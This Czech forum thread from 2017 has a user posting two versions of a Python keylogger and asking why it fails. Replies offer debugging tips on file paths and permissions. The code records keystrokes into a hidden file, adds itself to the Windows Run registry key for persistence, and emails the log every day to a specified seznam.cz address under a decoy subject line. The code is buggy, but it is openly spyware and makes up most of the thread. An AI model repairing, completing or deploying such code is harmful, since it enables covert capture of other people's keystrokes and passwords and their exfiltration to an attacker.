Stránka 1 z 1

Python Keylogger - Need a help

Napsal: 07 kvě 2017 18:00
od MartyQOfficialiss
Ahoj!
Asi vás znovu obtěžuji ale neměl jsem inspiraci a tak jediné co mě napadlo udělat keylogger, jenže když to spouštím nic se neděje a soubor do kterého se má všechno logovat se nevytvoří. Kód vypadá takhle:

Kód: Vybrat vše

import pyhook
import os
import sys
from subprocess import call
from time import *
import threading
import datetime
import smtplib, MimeWriter, StringIO, base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32event, win32api, winerror
import schedule


#checks if program is starting up for first time
startup = 1
#file path to put logs
filepath = os.environ['C:/Windows/System32']

log_file = filepath + 'logs695269146.txt'

if os.path.exists(log_file):
pass
else:
open(log_file, 'w')

#used to see if caps is on so we can put a <CAPS> and </CAPS> tag
caps = 0


def mail(serverURL=smtp.seznam.cz, sender='', to='', subject='', text=''):
"""
Usage:
"""
mail('smtp.seznam.cz', 'martez58@seznam.cz', 'MartyQCZ@seznam.cz', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.' + strftime("%H:%M:%S:"))

message = StringIO.StringIO()
writer = MimeWriter.MimeWriter(message)
writer.addheader('Subject', subject)
writer.startmultipartbody('mixed')
# start off with a text/plain part
part = writer.nextpart()
body = part.startbody('text/plain')
body.write(text)
# now add an attachment
part = writer.nextpart()
part.addheader('Content-Transfer-Encoding', 'base64')
body = part.startbody('text/plain')
base64.encode(open(log_file, 'rb'), body)
# finish off
writer.lastpart()
# send the mail
smtp = smtplib.SMTP(s)
smtp.sendmail(sender, to, message.getvalue())
smtp.quit()

schedule.every().day.at("17:00").do(mail,sendmail)
while True:

done = False;

while(not done):
if datetime.datetime.now().hour == 17:
schedule.run_pending()
time.sleep(3600)
else:
pass


def OnKeyPress(event):

global caps
global startup

#checks if startup
if startup == 1:
fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
startup = 0

#Newline if enter is pushed
if event.Key == 'Return':
fob.write('\n')
fob.write(strftime("%H:%M:%S: "))

#I'm sorry for this blatant DRY (Don't repeat yourself) violation
#Makes exceptions for special characters
elif event.Key == 'space':
fob.write(' ')

elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
fob.write(' ' + event.Key + ' ')

elif event.Key == 'Caps_Lock':

if caps == 0:
fob.write(' <CAPS> ')
caps = 1

else:
fob.write(' </CAPS> ')
caps = 0

elif event.Key == 'exclam':
fob.write('!')

elif event.Key == 'BackSpace':
fob.write('')

elif event.Key == 'at':
fob.write('@')

elif event.Key == 'numbersign':
fob.write('#')

elif event.Key == 'dollar':
fob.write('$')

elif event.Key == 'percent':
fob.write('%')

elif event.Key == 'asciicircum':
fob.write('^')

elif event.Key == 'ampersand':
fob.write('&')

elif event.Key == 'asterisk':
fob.write('*')

elif event.Key == 'parenleft':
fob.write('(')

elif event.Key == 'parenright':
fob.write(')')

elif event.Key == 'underscore':
fob.write('_')

elif event.Key == 'minus':
fob.write('-')

elif event.Key == 'equal':
fob.write('=')

elif event.Key == 'plus':
fob.write('+')

elif event.Key == 'backslash':
fob.write('\\')

elif event.Key == 'bracketright':
fob.write(']')

elif event.Key == 'bracketleft':
fob.write('[')

elif event.Key == 'braceright':
fob.write('}')

elif event.Key == 'braceleft':
fob.write('{')

elif event.Key == 'apostrophe':
fob.write('\'')

elif event.Key == 'quotedbl':
fob.write('"')

elif event.Key == 'semicolon':
fob.write(';')

elif event.Key == 'colon':
fob.write(':')

elif event.Key == 'slash':
fob.write('/')

elif event.Key == 'question':
fob.write('?')

elif event.Key == 'period':
fob.write('.')

elif event.Key == 'greater':
fob.write('>')

elif event.Key == 'comma':
fob.write(',')

elif event.Key == 'less':
fob.write('<')

elif event.Key == 'asciitilede':
fob.write('~')

else:
fob.write(event.Key)

if event.Ascii==124:
fob.write('\n')
fob.close()
new_hook.cancel()


#prepares hook
new_hook=pyhook.HookManager()
new_hook.KeyDown=OnKeyPress
new_hook.HookKeyboard()
new_hook.start()

Re: Python Keylogger - Need a help

Napsal: 07 kvě 2017 18:54
od faraon
Zkus do toho logu programem nejdřív něco zapsat, tak zjistíš jestli je problém tam, nebo prostě nemá co logovat. A po skončení logování ho regulérně uzavřít, jinak data zůstanou v cachi!

Re: Python Keylogger - Need a help

Napsal: 07 kvě 2017 19:58
od jerabina
Možnou příčinu problémů bych na první pohled viděl v tomhle:

Kód: Vybrat vše

filepath = os.environ['C:/Windows/System32']

Podle mě nemá program oprávnění v tomto adresáři vytvářet soubory a následně do nich něco zapisovat. Přece jenom se jedná o adresář určený pro systém a bez administrátorských práv do něj těžko něco zapíšeš.

Zkus nejdříve změnit tuto cestu na něco jako 'C:/' atd.

Re: Python Keylogger - Need a help

Napsal: 07 kvě 2017 20:21
od MartyQOfficialiss
jerabina - Taky jsem nad tím přemýšlel jenže hned jakmile jsem poslal topic sem.

faraon - Nevím, nemyslím si, ale zkusím zkombinovat tvojí i jerabinovu možnost a třeba to bude ideál.

Re: Python Keylogger - Need a help

Napsal: 08 kvě 2017 13:49
od MartyQOfficialiss
Noo, problém stále přetrvává i přes to že jsem změnil umístění a našel jsem několik chyb v několika proměnných ale ty jsem opravil a i přes to, kód přikládám zde:

Kód: Vybrat vše

import pyhook
import os
import sys
from subprocess import call
from time import *
import threading
import datetime
import smtplib, MimeWriter, StringIO, base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32event, win32api, winerror
import schedule


#checks if program is starting up for first time
startup = 1
#file path to put logs
homefolder = os.environ['C:/']

filepath = homefolder + '/.libs/'
if os.path.isdir(filepath) == False:
call(['mkdir', filepath])

log_file = filepath + 'logs695269146.txt'

#used to see if caps is on so we can put a <CAPS> and </CAPS> tag
caps = 0

def addStartupProcess():
fob=os.path.dirname(os.path.realpath(log_file))
log_file=sys.argv[0].split("\\")[-1]
new_file_path=homefolder+"\\"+filepath+"\\"+log_file
keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'

key2change= OpenKey(HKEY_CURRENT_USER,
keyVal,0,KEY_ALL_ACCESS)

SetValueEx(key2change, "logsinput",0,REG_SZ, new_file_path)


def OnKeyPress(event):

fob=open(log_file, 'a')

global caps
global startup

#checks if startup
if startup == 1:
fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
startup = 0

#Newline if enter is pushed
if event.Key == 'Return':
fob.write('\n')
fob.write(strftime("%H:%M:%S: "))

#I'm sorry for this blatant DRY (Don't repeat yourself) violation
#Makes exceptions for special characters
elif event.Key == 'space':
fob.write(' ')

elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
fob.write(' ' + event.Key + ' ')

elif event.Key == 'Caps_Lock':

if caps == 0:
fob.write(' <CAPS> ')
caps = 1

else:
fob.write(' </CAPS> ')
caps = 0

elif event.Key == 'exclam':
fob.write('!')

elif event.Key == 'BackSpace':
fob.write('')

elif event.Key == 'at':
fob.write('@')

elif event.Key == 'numbersign':
fob.write('#')

elif event.Key == 'dollar':
fob.write('$')

elif event.Key == 'percent':
fob.write('%')

elif event.Key == 'asciicircum':
fob.write('^')

elif event.Key == 'ampersand':
fob.write('&')

elif event.Key == 'asterisk':
fob.write('*')

elif event.Key == 'parenleft':
fob.write('(')

elif event.Key == 'parenright':
fob.write(')')

elif event.Key == 'underscore':
fob.write('_')

elif event.Key == 'minus':
fob.write('-')

elif event.Key == 'equal':
fob.write('=')

elif event.Key == 'plus':
fob.write('+')

elif event.Key == 'backslash':
fob.write('\\')

elif event.Key == 'bracketright':
fob.write(']')

elif event.Key == 'bracketleft':
fob.write('[')

elif event.Key == 'braceright':
fob.write('}')

elif event.Key == 'braceleft':
fob.write('{')

elif event.Key == 'apostrophe':
fob.write('\'')

elif event.Key == 'quotedbl':
fob.write('"')

elif event.Key == 'semicolon':
fob.write(';')

elif event.Key == 'colon':
fob.write(':')

elif event.Key == 'slash':
fob.write('/')

elif event.Key == 'question':
fob.write('?')

elif event.Key == 'period':
fob.write('.')

elif event.Key == 'greater':
fob.write('>')

elif event.Key == 'comma':
fob.write(',')

elif event.Key == 'less':
fob.write('<')

elif event.Key == 'asciitilede':
fob.write('~')

else:
fob.write(event.Key)

if event.Ascii==124:
fob.write('\n')
fob.close()
new_hook.cancel()

def mail(serverURL=smtp.seznam.cz, sender='', to='', subject='', text=''):
"""
Usage:
"""
mail('smtp.seznam.cz', 'martez58@seznam.cz', 'MartyQCZ@seznam.cz', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.' + strftime("%H:%M:%S:"))

message = StringIO.StringIO()
writer = MimeWriter.MimeWriter(message)
writer.addheader('Subject', subject)
writer.startmultipartbody('mixed')
# start off with a text/plain part
part = writer.nextpart()
body = part.startbody('text/plain')
body.write(text)
# now add an attachment
part = writer.nextpart()
part.addheader('Content-Transfer-Encoding', 'base64')
body = part.startbody('text/plain')
base64.encode(open(log_file, 'rb'), body)
# finish off
writer.lastpart()
# send the mail
smtp = smtplib.SMTP(s)
smtp.sendmail(sender, to, message.getvalue())
smtp.quit()

schedule.every().day.at("17:00").do(mail,sendmail)
while True:

done = False;

while(not done):
if datetime.datetime.now().hour == 17:
schedule.run_pending()
time.sleep(3600)
else:
pass


#prepares hook
new_hook=pyhook.HookManager()
new_hook.KeyDown=OnKeyPress
new_hook.HookKeyboard()
new_hook.start()